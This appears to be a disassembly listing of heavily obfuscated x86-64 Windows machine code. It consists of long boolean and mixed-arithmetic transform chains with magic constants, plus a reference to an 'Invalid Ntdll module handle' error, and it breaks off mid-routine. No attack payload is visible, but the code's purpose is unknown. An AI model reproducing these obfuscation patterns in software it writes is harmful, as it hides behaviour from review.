mov eax, ecx
xor al, 1
mov ebx, r10d
or cl, r10b
and r10b, al
xor bl, al
or bl, r10b
or al, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
and cl, bl
xor bl, 1
xor dl, 1
mov eax, ebx
xor al, dl
and al, bl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, 1
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov r10d, esi
and r10b, r9b
mov eax, esi
xor al, r10b
xor sil, r9b
or sil, r10b
xor r10b, 1
or r10b, r9b
xor r10b, 1
or r10b, al
mov byte [rsp + 0x48], r10b
mov ebx, r10d
xor bl, 1
mov byte [rsp + 0x3c], bl
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov edi, ecx
xor dil, 1
or dil, dl
xor dil, 1
mov r9d, eax
xor r9b, cl
or dil, r9b
mov r8d, ebx
and r8b, r10b
xor r8b, 1
mov edx, r10d
xor dl, r8b
or r8b, r10b
xor r8b, 1
or r8b, dl
xor r8b, 1
mov edx, r8d
xor dl, bl
xor r8b, dl
xor r8b, 1
and r8b, dl
mov r13d, esi
xor r13b, 1
and cl, al
or cl, r9b
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov byte [rsp + 0x40], dl
mov r10d, r8d
xor r10b, 1
mov r14d, esi
and r14b, r13b
xor r14b, 1
mov ecx, r13d
xor cl, r14b
or r14b, r13b
xor r14b, 1
or r14b, cl
mov ebp, r14d
xor bpl, 1
mov r15d, r10d
xor r15b, r8b
and r15b, r10b
mov r9d, r14d
xor r9b, bpl
mov r12d, r14d
and r12b, r8b
mov r11d, r10d
and r11b, bpl
xor bpl, r8b
mov edx, r8d
or dl, r10b
mov ebx, edx
xor bl, 1
or r13b, sil
mov esi, r15d
mov ecx, ebx
and cl, dl
mov eax, ecx
xor cl, bl
or bl, r15b
xor r15b, 1
and sil, r15b
xor sil, 1
mov r8d, esi
xor r8b, r15b
or sil, r15b
xor sil, 1
or sil, r8b
xor al, 1
or al, dl
xor al, 1
or al, cl
xor al, sil
and r9b, r14b
xor r15b, dl
xor bl, 1
or bl, r15b
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, r9d
xor al, 1
mov ecx, eax
and cl, r9b
mov r8d, eax
xor r8b, cl
xor cl, 1
or cl, r9b
mov edx, r13d
xor dl, 1
and dl, r13b
xor cl, 1
or cl, r8b
mov r8d, r13d
and r8b, dl
xor dl, r13b
or dl, r8b
xor dl, cl
mov ecx, eax
and cl, r13b
xor al, r13b
or al, cl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
mov eax, edx
xor al, 1
and al, dl
or bl, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
mov r15d, edi
xor r15b, 1
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
mov r13b, byte [rsp + 0x40]
mov esi, r13d
xor sil, 1
or al, cl
or r11b, r12b
or r14b, r10b
xor r14b, 1
or r14b, bpl
xor r14b, 1
mov ecx, r11d
and cl, r14b
xor r14b, r11b
or r14b, cl
mov edx, r14d
xor dl, 1
mov r9d, r14d
and r9b, dl
xor r14b, r9b
xor r9b, 1
or r9b, dl
xor r9b, 1
or r9b, r14b
mov r8d, r9d
and r8b, al
mov ebx, eax
xor bl, dl
or dl, al
xor al, 1
xor r9b, 1
and r9b, al
or r9b, r8b
xor dl, 1
or dl, bl
xor r9b, 1
mov eax, r9d
xor al, dl
or r9b, dl
xor r9b, 1
or r9b, al
mov r10d, r15d
or r10b, dil
mov ebx, r10d
xor bl, 1
mov ebp, r10d
or bpl, r15b
and bl, r15b
mov r11d, r13d
mov eax, r13d
and r11b, sil
mov r14d, r15d
xor r14b, sil
and r14b, r15b
xor sil, dil
and r15b, dil
xor r15b, 1
mov r8d, edi
xor r8b, r15b
or r15b, dil
and dil, r10b
or bl, dil
mov edx, ebp
xor dl, bl
xor bl, 1
or bl, bpl
xor dl, 1
xor bl, 1
or bl, dl
mov edx, r13d
and dl, r11b
xor r11b, r13b
or r11b, dl
xor r11b, bl
mov ecx, r11d
xor cl, 1
mov ebx, r14d
xor bl, 1
xor r14b, sil
xor sil, 1
or sil, bl
xor sil, 1
or sil, r14b
mov ebx, esi
xor bl, 1
mov edx, ecx
and dl, r11b
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and al, bl
and dl, sil
or dl, al
xor sil, r11b
or bl, cl
xor bl, 1
or bl, sil
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov eax, r9d
xor al, 1
mov ebx, edx
xor bl, 1
mov r11d, edx
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor dl, al
or r11b, al
xor r11b, 1
or r11b, dl
xor cl, 1
or cl, bl
xor r11b, 1
xor al, cl
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
xor cl, r11b
and r11b, cl
mov eax, ecx
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, cl
xor r11b, 1
or r11b, al
xor r15b, 1
or r15b, r8b
mov cl, byte [rsp + 0x48]
mov edx, ecx
mov al, byte [rsp + 0x3c]
or dl, al
mov r8d, edx
xor r8b, 1
mov r9d, r15d
xor r9b, 1
and r8b, cl
mov ebx, ecx
mov ecx, r9d
or cl, r10b
xor r10b, r9b
or r9b, bl
or bl, dl
and dl, al
mov esi, eax
or dl, r8b
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
and al, r10b
xor r10b, cl
or r10b, al
mov eax, r10d
xor al, 1
and r10b, al
xor r10b, 1
mov ecx, r10d
xor cl, al
or r10b, al
xor r10b, 1
or r10b, cl
mov eax, edx
xor al, 1
and al, r10b
xor r10b, 1
and r10b, dl
or r10b, al
xor r15b, sil
mov eax, r9d
xor al, r15b
xor r15b, 1
xor al, 1
or r15b, r9b
xor r15b, 1
or r15b, al
mov ebx, r15d
xor bl, 1
mov ecx, r10d
xor cl, 1
mov edx, r10d
and dl, cl
mov r8d, edx
and r8b, r10b
xor dl, r10b
mov eax, ebx
and al, r15b
or dl, r8b
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, ecx
and dl, r15b
xor cl, r15b
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, bl
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
xor cl, dl
xor dl, cl
and dl, cl
mov r9d, edx
xor r9b, 1
mov ecx, r11d
xor cl, 1
mov eax, ecx
xor al, dl
mov r8d, eax
xor r8b, cl
and r8b, al
and r11b, cl
mov eax, r9d
and al, dl
mov ebx, ecx
and bl, r11b
xor r11b, cl
or r11b, bl
xor r9b, al
xor al, 1
or al, dl
xor al, 1
or al, r9b
mov ecx, r11d
xor cl, 1
and cl, al
xor al, 1
and al, r11b
or al, cl
mov r10d, r8d
xor r10b, 1
mov r9d, eax
xor r9b, 1
mov ecx, r10d
and cl, r8b
mov edx, r9d
and dl, al
mov ebx, r10d
and bl, cl
xor cl, r10b
or cl, bl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
xor r9b, r10b
or al, r8b
xor al, 1
or al, r9b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xe3f24948
mov eax, 0xf60a917c
cmovne ecx, eax
test dl, 1
cmove ecx, eax
not bl
test bl, 1
mov eax, 0xe3f24948
jmp 0x14001f962
lea rcx, str.____Invalid_Ntdll_module_handle
call fcn.140022890
mov eax, dword [0x1400c5670]
lea r8d, [rax - 1]
imul r8d, eax
mov r9d, r8d
not r9d
mov ecx, r9d
and ecx, 0x50000127
mov edx, r8d
and edx, 0x89981000
or edx, ecx
xor edx, 0x89981000
mov ecx, r8d
and ecx, 0x2667eed8
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2667eed8
and ecx, 0xd9981127
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xb96d9f51
mov edx, eax
and edx, 0x469260ae
or edx, ecx
xor edx, 0xddd610c3
and eax, 0x64bb8f92
or eax, edx
mov ebx, eax
not ebx
mov edx, r9d
and edx, 0x9b44706d
mov ecx, r8d
and ecx, 0x64bb8f92
or ecx, edx
not ecx
or ecx, r9d
mov esi, ecx
not esi
mov edx, eax
and edx, 0x86f196f9
xor eax, 0x9efd79a4
and eax, ebx
and ebx, 0x790e6906
or ebx, edx
mov r10d, ebx
xor r10d, 0x790e6906
mov edx, ecx
and edx, 0x302ae5da
xor ecx, 0x9efd79a4
and ecx, esi
and esi, 0xcfd51a25
or esi, edx
mov edi, esi
xor edi, 0xcfd51a25
xor ebx, 0x86f196f9
mov edx, r10d
and edx, 0x6102865b
xor esi, 0x302ae5da
mov ebp, edi
and ebp, 0x6102865b
mov r11d, edx
and r11d, eax
xor eax, edx
or eax, r11d
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, eax
not edx
and edx, 0x49f2e536
and eax, 0xb60d1ac9
or eax, edx
mov edx, ecx
not edx
and edx, 0x49f2e536
and ecx, 0xb60d1ac9
or ecx, edx
xor ecx, eax
mov eax, ebx
and eax, 0xad1309
and r10d, 0xff52ecf6
or r10d, eax
or ebx, esi
and esi, 0xad1309
and edi, 0xff52ecf6
or edi, esi
xor edi, r10d
not ebx
or ebx, edi
not ebx
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
mov edx, eax
or edx, 0x64bb8f92
mov ecx, edx
not ecx
or ebx, 0x9204406d
and ebx, 0xf61f457f
and eax, 0xa08a80
or eax, ebx
and edx, 0xf61f457f
and ecx, 0x9403000
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
or ecx, 0xc2c92aab
mov ebp, ecx
not ebp
or eax, 0x3d36d554
mov edx, eax
not edx
and ecx, 0xadecec98
and ebp, 0x10121144
or ebp, ecx
and eax, 0xadecec98
and edx, 0x42010223
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0xc2c92aab
and edx, 0x3d36d554
or edx, eax
mov eax, edx
not eax
and eax, 0xf810becc
and edx, 0x7ef4133
or edx, eax
mov ecx, edx
xor ecx, 0x7a00121
xor edx, 0xd0103a40
and edx, 0xd05f7a52
and ecx, 0x2fa085ad
or ecx, edx
mov ebx, ecx
xor ebx, 0xd05f7a52
xor ecx, 0x2fa085ad
mov eax, r9d
and eax, 0x1bda0ed7
mov edx, r8d
xor edx, 0x1bda0ed7
and edx, r8d
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov eax, edx
not eax
and eax, 0x31594c49
and edx, 0xcea6b3b6
or edx, eax
mov r12d, edx
xor r12d, 0x1549400
xor edx, 0x2a82408a
and edx, 0xfeaa69eb
and r12d, 0x1559614
or r12d, edx
mov eax, r12d
xor eax, 0x459014
xor r12d, 0xfeaa69eb
mov edx, r12d
and edx, 0xf1924fc1
and eax, 0xe6db03e
or eax, edx
or r12d, r8d
and r8d, 0xf1924fc1
and r9d, 0xe6db03e
or r9d, r8d
xor r9d, eax
not r12d
or r12d, r9d
mov r8d, r12d
not r8d
mov eax, ecx
and eax, 0x80089f96
mov edx, ebx
and edx, 0x10e70069
or edx, eax
xor edx, 0x10e70069
mov r14d, ebx
and r14d, 0x6f106000
or r14d, edx
mov eax, r14d
not eax
and eax, 0x13a69063
and r14d, 0xec596f9c
or r14d, eax
mov r13d, r14d
xor r13d, 0x7cb6f063
xor r14d, 0x83490f9c
mov edx, r14d
and edx, 0x11b33030
mov r15d, r13d
and r15d, 0xee4ccfcf
or r15d, edx
not r15d
or r15d, r14d
and ecx, 0x1f730be4
and ebx, 0xe08cf41b
or ebx, ecx
mov ecx, ebx
xor ecx, 0xe00cc40b
and ecx, 0xee4ccfcf
xor ebx, 0xec03bd4
or ebx, ecx
mov r11d, ebx
not r11d
mov ecx, r8d
and ecx, 0x2dac3fec
mov edx, r12d
mov esi, r12d
and esi, 0xd253c013
or esi, ecx
mov r9d, esi
xor r9d, 0xd253c013
xor esi, 0x9200424
and esi, 0xcb70c437
mov ecx, r9d
and ecx, 0x348f3bc8
or ecx, esi
xor ecx, 0xdac3f407
and r9d, 0x11b33030
or r9d, ecx
and edx, 0x5706efb9
mov eax, r8d
and eax, 0xa8f91046
or eax, edx
mov ecx, ebx
and ecx, 0x395fe3d5
and r11d, 0xc6a01c2a
or r11d, ecx
mov ecx, r15d
xor ecx, 0x46a53311
and ecx, r15d
mov esi, r15d
or esi, 0xb95accee
mov edx, ecx
not edx
mov edi, edx
and edi, 0xbab7ed98
and ecx, 0x45481267
or ecx, edi
mov edi, esi
not edi
or edx, esi
and esi, 0xbab7ed98
and edi, 0x44001201
or edi, esi
mov r10d, r11d
xor r11d, 0x395fe3d5
xor edi, ecx
mov ecx, r11d
or ecx, 0x46a53311
not edx
or edx, edi
mov esi, ecx
not esi
or ebx, 0xb95accee
and ecx, 0x6f19255e
and esi, 0x9042c8a0
or esi, ecx
mov edi, ebx
not edi
and ebx, 0x6f19255e
and edi, 0xa41201
or edi, ebx
xor eax, 0x46b5df89
or eax, r12d
xor edi, esi
mov esi, edx
not esi
and esi, edi
not edi
and edi, edx
mov ebx, r15d
not ebx
or edi, esi
mov edx, ebx
and edx, 0x1dae33ee
and r15d, 0xe251cc11
or r15d, edx
mov edx, r12d
xor edx, 0xa064d724
and edx, r12d
mov esi, r12d
xor r10d, 0xc2000c00
or ebx, r11d
and r11d, 0x1dae33ee
and r10d, 0xe251cc11
or r10d, r11d
mov ebp, eax
not ebp
and ebp, r9d
not r9d
xor r10d, r15d
not ebx
or ebx, r10d
not ebx
mov ecx, edi
and ecx, ebx
xor ebx, edi
or ebx, ecx
mov edi, r9d
xor edi, eax
and edi, r9d
and eax, r9d
or eax, ebp
mov ecx, edi
not ecx
mov ebp, eax
not ebp
mov r9d, ecx
and r9d, 0x8c490688
and edi, 0x73b6f977
or edi, r9d
or ecx, ebp
and ebp, 0x8c490688
and eax, 0x73b6f977
or eax, ebp
xor eax, edi
not ecx
or ecx, eax
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0xfe65ec61
and ebx, 0x19a139e
or ebx, eax
or ebp, ecx
not ecx
xor ebx, 0xfe65ec61
or ebx, ecx
not ebx
not ebp
mov eax, ebx
and eax, ebp
xor ebp, ebx
or ebp, eax
and r8d, 0xdf3082fd
and esi, 0x20cf7d02
or esi, r8d
mov eax, esi
xor eax, 0x20cf7d02
mov ecx, r14d
and ecx, 0xa064d724
mov ebx, r13d
and ebx, 0x5f9b28db
or ebx, ecx
mov ecx, esi
xor ecx, 0x7f5455d9
and ecx, eax
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, ebx
not ecx
and ecx, 0xec3ce178
and ebx, 0x13c31e87
or ebx, ecx
mov ecx, edx
not ecx
and ecx, 0xec3ce178
and edx, 0x13c31e87
or edx, ecx
xor edx, ebx
xor esi, 0xdf3082fd
mov ecx, r13d
and ecx, 0xbab1866e
and r14d, 0x454e7991
or r14d, ecx
or r13d, esi
and esi, 0xbab1866e
and eax, 0x454e7991
or eax, esi
xor eax, r14d
not r13d
or r13d, eax
mov eax, r13d
not eax
and eax, 0xe72154b0
and r13d, 0x18deab4f
or r13d, eax
xor r13d, 0x18deab4f
mov eax, edx
and eax, r13d
xor r13d, edx
or r13d, eax
mov edx, r13d
mov eax, r13d
xor eax, 0xe9bcf8ea
and eax, r13d
not r13d
and r13d, 0x894b00a
and edx, 0xe12848e0
or edx, r13d
mov ecx, edx
xor ecx, 0xe0200820
xor edx, 0x1ed7b71f
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x155f73cb
and ecx, 0xe8a08820
or ecx, edi
or edx, ebx
and ebx, 0x155f73cb
and eax, 0xeaa08c34
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x59a9ce28
and edx, 0xa65631d7
or edx, eax
mov eax, edx
xor eax, 0xce2400d
xor edx, 0x200434c0
and eax, 0x9cf3420f
and edx, 0x630cbdf0
or edx, eax
mov r10d, edx
xor r10d, 0x9cf3420f
mov r8d, edx
xor r8d, 0x630cbdf0
mov eax, ebp
not eax
and eax, 0xb8b9f554
mov ecx, ebp
and ecx, 0x47460aab
or ecx, eax
mov r9d, ecx
xor r9d, 0x47460aab
mov eax, ecx
xor eax, 0xd14f8219
and eax, r9d
and ebp, 0x960988b2
xor edx, 0xafacabd
and edx, r10d
mov ebx, r10d
or ebx, 0x69f6774d
mov edi, ebx
not edi
mov esi, eax
and esi, ebp
xor ebp, eax
or ebp, esi
mov eax, edx
not eax
mov esi, eax
and esi, 0x62a3c9f9
and edx, 0x9d5c3606
or edx, esi
or eax, ebx
and ebx, 0x62a3c9f9
and edi, 0x94080002
or edi, ebx
xor edi, edx
not eax
or eax, edi
mov edx, ebp
not edx
and edx, eax
not eax
and eax, ebp
or eax, edx
xor ecx, 0xb8b9f554
mov edx, ecx
and edx, 0x15011d04
and r9d, 0xeafee2fb
or r9d, edx
or ecx, r8d
and r8d, 0x15011d04
and r10d, 0xeafee2fb
or r10d, r8d
xor r10d, r9d
not ecx
or ecx, r10d
mov edx, ecx
not edx
mov r9d, eax
not r9d
mov edi, r9d
and edi, 0xce4d6c97
and eax, 0x31b29368
or eax, edi
or r9d, ecx
and ecx, 0xce4d6c97
and edx, 0x31b29368
or edx, ecx
xor edx, eax
not r9d
or r9d, edx
mov r8d, r9d
not r8d
mov eax, r8d
and eax, 0xd805d070
mov ecx, r9d
and ecx, 0x27fa2f8f
or ecx, eax
xor ecx, 0xc509e2f8
mov eax, r9d
and eax, 0x1d0c3288
or eax, ecx
mov edi, eax
not edi
mov ecx, r8d
and ecx, 0xa6fc457a
mov edx, r9d
and edx, 0x5903ba85
or edx, ecx
xor edx, 0x440f880d
mov esi, edx
xor esi, r8d
and esi, edx
and eax, 0x116da714
mov ebp, edi
and ebp, 0xee9258eb
or ebp, eax
mov r10d, ebp
xor r10d, 0xee9258eb
mov ecx, esi
not ecx
and ecx, 0x54199c87
mov eax, esi
and eax, 0xabe66378
or eax, ecx
mov ecx, eax
xor ecx, 0xabe66378
xor ebp, 0x116da714
mov edx, r10d
and edx, 0x89c7189e
and edi, 0x7638e761
or edi, edx
mov edx, eax
xor edx, 0xddde8419
and edx, ecx
and esi, 0x7638e761
mov ebx, edx
and ebx, esi
xor esi, edx
or esi, ebx
mov edx, edi
not edx
and edx, esi
not esi
and esi, edi
or esi, edx
xor eax, 0x54199c87
mov edx, ebp
and edx, 0x2804fd3d
and r10d, 0xd7fb02c2
or r10d, edx
or ebp, eax
and eax, 0x2804fd3d
and ecx, 0xd7fb02c2
or ecx, eax
xor ecx, r10d
not ebp
or ebp, ecx
mov ecx, ebp
not ecx
mov eax, esi
not eax
mov edx, eax
and edx, 0xbeac7122
and esi, 0x41538edd
or esi, edx
or eax, ebp
and ebp, 0xbeac7122
and ecx, 0x41538edd
or ecx, ebp
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x1d0c3288
mov ebx, edx
not ebx
or eax, 0xe2200406
and eax, 0xee2c3606
and ecx, 0x11000088
or ecx, eax
and edx, 0xee2c3606
and ebx, 0xd3c971
or ebx, edx
xor ebx, ecx
mov eax, ebx
mov r10d, ebx
mov r11d, ebx
xor r11d, 1
and r11d, ebx
not ebx
and eax, 0x41e203d5
mov ecx, ebx
and ecx, 0xbe1dfc2a
or ecx, eax
mov edx, ecx
xor edx, 0x41e203d5
xor ecx, 0x84084c02
mov eax, edx
and eax, 0xc40c0005
and ecx, 0x85ea4d82
and edx, 0x7a15b27d
or edx, ecx
xor edx, 0x41e64d87
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
mov ecx, edx
xor ecx, 0x854e8973
and ecx, edx
not edx
and edx, 0x284380dd
and eax, 0xd7bc7f22
or eax, edx
mov edx, eax
xor edx, 0x80040102
xor eax, 0x428051
or eax, 0x7ab1768c
mov edi, ecx
not edi
mov esi, eax
and esi, 0x475b3e68
and edx, 0x80048113
or edx, esi
or eax, edi
and edi, 0x475b3e68
and ecx, 0xb8a4c197
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7ab1768c
and eax, 0x854e8973
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xce508ef8
and eax, 0x31af7107
or eax, edx
xor eax, 0x31af7107
or eax, ecx
mov r14d, eax
not r14d
mov edi, r8d
or edi, 0x10d5ed0e
mov edx, edi
not edx
mov esi, r9d
or esi, 0x65220220
and esi, 0x75a64726
mov ecx, r8d
and ecx, 0x51a808
or ecx, esi
and edi, 0x75a64726
and edx, 0x8a0810d1
or edx, edi
xor edx, ecx
mov esi, edx
not esi
and esi, 0x2b2612f4
and edx, 0xd4d9ed0b
or edx, esi
and r8d, 0x176bf4ae
and r9d, 0xe8940b51
or r9d, r8d
mov ecx, r9d
xor ecx, 0xe8940b51
xor r9d, 0x176bf4ae
and r9d, edx
not edx
and ecx, edx
or r9d, ecx
not r9d
or r9d, edx
mov ebp, r9d
not ebp
mov edi, eax
and edi, 0x59f6eda3
mov ecx, r14d
and ecx, 0xa609125c
or ecx, edi
mov edi, ecx
xor edi, 0xa608025c
xor ecx, 0x59f6eda3
mov esi, ecx
and esi, 0x41873421
and edi, 0xbe78cbde
or edi, esi
mov r8d, ebp
and r8d, 0x41873421
mov esi, r9d
and esi, 0xbe78cbde
or esi, r8d
xor esi, edi
or ecx, ebp
not ecx
or ecx, esi
and eax, 0xff9dcacc
and r14d, 0x623533
or r14d, eax
and r9d, 0x90198a8c
mov eax, ebp
and eax, 0x6f844040
or eax, r9d
xor eax, 0x6f844040
and ebp, 0x623533
or ebp, eax
mov eax, r14d
not eax
and eax, 0x3483e5e1
and r14d, 0xcb7c1a1e
or r14d, eax
mov eax, ebp
not eax
and eax, 0x3483e5e1
and ebp, 0xcb7c1a1e
or ebp, eax
xor ebp, r14d
mov edx, ebp
and ebp, ecx
not ecx
not edx
mov eax, ecx
xor eax, edx
and eax, ecx
and edx, ecx
or edx, ebp
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
mov eax, edx
xor eax, 0x50f8dd08
and eax, edx
mov edi, ecx
and edi, 0xbd8ab361
and edx, 0x42754c9e
or edx, edi
xor edx, 0x92be3992
or edx, ecx
and ecx, 0x500800
and ebp, 0x50a8d508
or ebp, ecx
xor ebp, 0x50a8d508
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x10083108
and eax, 0xc0c34404
or eax, ecx
mov ebp, eax
xor ebp, 0x900b110c
xor eax, 0x10c851
mov edi, edx
not edi
and eax, 0x10d959
mov ecx, ebp
and ecx, 0xd0cb2404
or ecx, eax
mov r8d, ecx
xor r8d, 0xffef26a6
mov esi, edx
and esi, 0x3148f113
and edi, 0xceb70eec
or edi, esi
mov r9d, edi
xor r9d, 0x44850e28
mov eax, ecx
xor eax, 0xb2abf46e
and eax, r8d
and ebp, 0x40405008
xor edi, 0x3148f113
mov r15d, edi
or r15d, 0x4d44d2c8
mov r14d, eax
and r14d, ebp
xor ebp, eax
mov eax, r15d
not eax
or edx, 0xb2bb2d37
or ebp, r14d
mov esi, edx
not esi
and r15d, 0x1bfcc893
and eax, 0xa0032524
or eax, r15d
and edx, 0x1bfcc893
and esi, 0x44001248
or esi, edx
xor esi, eax
mov eax, ebp
not eax
and eax, 0x5172006a
and ebp, 0xa289fd15
or ebp, eax
mov eax, esi
not eax
and eax, 0x5172006a
and esi, 0xae8dff95
or esi, eax
xor esi, ebp
xor ecx, 0x10d959
mov eax, ecx
and eax, 0x80420004
and r8d, 0x558d7f3b
or r8d, eax
or ecx, edi
and edi, 0xaa7280c4
and r9d, 0x558d7f3b
or r9d, edi
xor r9d, r8d
not ecx
or ecx, r9d
mov eax, ecx
not eax
and eax, 0xa2b78e1c
and ecx, 0x5d4871e3
or ecx, eax
xor ecx, 0x5d4871e3
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
mov r14d, ecx
xor r14d, 0x14c77508
and r14d, ecx
not ecx
and ecx, 0x4424500
and eax, 0x10853008
or eax, ecx
xor eax, 0x10853008
mov ecx, eax
and ecx, r14d
xor r14d, eax
or r14d, ecx
mov eax, ebx
and eax, 0xfffffffe
and r10d, 1
or r10d, eax
mov ecx, r10d
xor ecx, ebx
and ecx, r10d
and ebx, 1
mov eax, ebx
and eax, r11d
xor r11d, ebx
or r11d, eax
mov ebp, ecx
not ebp
and ebp, r11d
not r11d
mov eax, ecx
xor eax, r11d
and eax, ecx
and r11d, ecx
or r11d, ebp
mov ebx, eax
not ebx
mov ecx, r11d
not ecx
mov ebp, ebx
and ebp, 0x46736b5c
and eax, 0xb98c94a3
or eax, ebp
or ebx, ecx
and ecx, 0x46736b5c
and r11d, 0xb98c94a3
or r11d, ecx
xor r11d, eax
not ebx
or ebx, r11d
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x10516e7c
or esi, ebx
and ebx, 0xefae9183
or ebx, ecx
mov ecx, ebx
xor ecx, 0x278c1181
xor ebx, 0x10412e58
and ecx, 0x279c51a5
and ebx, 0xd863ae5a
or ebx, ecx
mov ecx, ebx
xor ecx, 0xd863ae5a
mov r8d, esi
not r8d
mov edi, ebx
xor edi, 0x104101
and edi, 0x8072c359
xor ebx, 0x632cfe4f
and ebx, ecx
and ecx, 0x7f8d3ca6
or ecx, edi
mov r10d, ecx
xor r10d, 0x7f8d3ca6
xor ecx, 0x8072c359
mov r9d, r10d
and r9d, 0xbb4f5015
mov edx, r8d
or edx, 0x44b0afea
mov ebp, edx
not ebp
mov eax, esi
or eax, 0xbb4f5015
mov edi, eax
not edi
mov r11d, r9d
and r11d, ebx
xor ebx, r9d
or ebx, r11d
and edx, 0xb8cff359
and ebp, 0x3000004
or ebp, edx
and eax, 0xb8cff359
and edi, 0x44300ca2
or edi, eax
xor edi, ebp
mov eax, ebx
not eax
and eax, edi
not edi
and edi, ebx
or edi, eax
mov eax, ecx
and eax, 0xc6d3a98b
and r10d, 0x392c5674
or r10d, eax
or ecx, r8d
and r8d, 0xc6d3a98b
and esi, 0x392c5674
or esi, r8d
xor esi, r10d
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, edi
not edx
mov ebp, edx
and ebp, 0x2b479a52
and edi, 0xd4b865ad
or edi, ebp
or edx, ecx
and ecx, 0x2b479a52
and eax, 0xd4b865ad
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x19048128
and ecx, edx
not edx
and edx, 0x48008
and eax, 0x19000120
or eax, edx
xor eax, 0x19000120
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xd61f3bf5
and ecx, 0x29e0c40a
or ecx, eax
mov eax, ecx
xor eax, 0x30e44522
mov edx, ecx
xor edx, 0xcf1bbadd
xor ecx, 0xaecf43fd
mov ebp, ecx
and ebp, edx
and ecx, eax
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x237dde1c
and ecx, 0xdc8221e3
or ecx, ebp
xor ecx, 0xbd56d8c3
or edx, eax
mov eax, edx
not eax
and eax, 0x5826f6af
and edx, 0xa7d90950
or edx, eax
xor edx, 0xa7d90950
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov r10d, edx
not r10d
and edx, 0x202bda14
and r10d, 0xdfd425eb
or r10d, edx
mov r9d, r10d
xor r9d, 0x202bda14
mov eax, r14d
not eax
mov r11d, r14d
or r11d, 0x70d62b8f
mov ecx, r11d
not ecx
mov edx, r14d
xor edx, 0x8f29d470
and edx, r14d
mov ebp, edx
not ebp
mov ebx, r11d
and ebx, 0x25db8629
and ecx, 0x8a205050
or ecx, ebx
or r11d, ebp
and ebp, 0x25db8629
and edx, 0xda2479d6
or edx, ebp
xor edx, ecx
not r11d
or r11d, edx
mov ecx, r11d
not ecx
and ecx, 0x70d62b8f
and r11d, 0x8f29d470
or r11d, ecx
xor r10d, 0xdfd425eb
mov r8d, r11d
not r8d
mov ecx, r8d
and ecx, 0x328034b6
mov ebx, r11d
and ebx, 0xcd7fcb49
or ebx, ecx
xor ebx, 0x4609005
or ebx, r8d
mov ecx, eax
and ecx, 0x39ee11a1
and r14d, 0xc611ee5e
or r14d, ecx
xor r14d, 0xf0eb512
xor eax, r14d
and eax, r14d
mov r15d, eax
not r15d
mov edx, ebx
mov ecx, eax
xor ecx, 0x256a4f64
and ecx, r15d
